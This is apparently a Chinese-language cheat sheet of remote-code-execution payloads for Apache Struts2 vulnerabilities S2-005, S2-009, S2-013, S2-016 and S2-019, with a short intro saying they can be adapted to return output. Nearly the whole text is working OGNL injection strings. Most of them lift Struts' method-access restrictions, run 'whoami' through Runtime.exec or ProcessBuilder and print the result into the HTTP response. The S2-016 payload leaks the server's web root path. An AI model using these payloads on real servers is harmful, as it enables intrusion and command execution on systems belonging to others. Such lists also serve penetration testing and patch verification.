struts2 s2-005/s2-009/s2-013/s2-016/s2-019 payload
以下payload仅作整理记录，可以通过修改代码，改为带回显的自己的payload
s2-005:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
s2-009:
class.classLoader.jarPath=%28%23context[\"xwork.MethodAccessor.denyMethodExecution\"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]
s2-013:
a=1${(%23_memberAccess[\"allowStaticMethodAccess\"]=true,%23a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}
s2-016:
redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
s2-019:
debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#req=@org.apache.struts2.ServletActionContext@getRequest(),#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[1000],#d.read(#e),#resp.println(#e),#resp.close()
